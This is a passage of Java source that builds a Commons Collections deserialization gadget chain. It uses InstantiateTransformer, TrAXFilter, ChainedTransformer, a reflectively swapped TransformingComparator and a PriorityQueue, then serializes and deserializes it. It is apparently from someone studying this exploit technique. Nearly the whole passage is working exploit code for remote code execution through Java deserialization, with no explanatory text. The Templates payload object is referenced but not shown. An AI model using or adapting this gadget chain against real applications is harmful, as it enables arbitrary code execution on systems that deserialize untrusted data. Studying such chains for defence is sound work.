InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer
}; //chainedTransformer.transform(1); ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); //TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); /* 写对象,序列化 */ }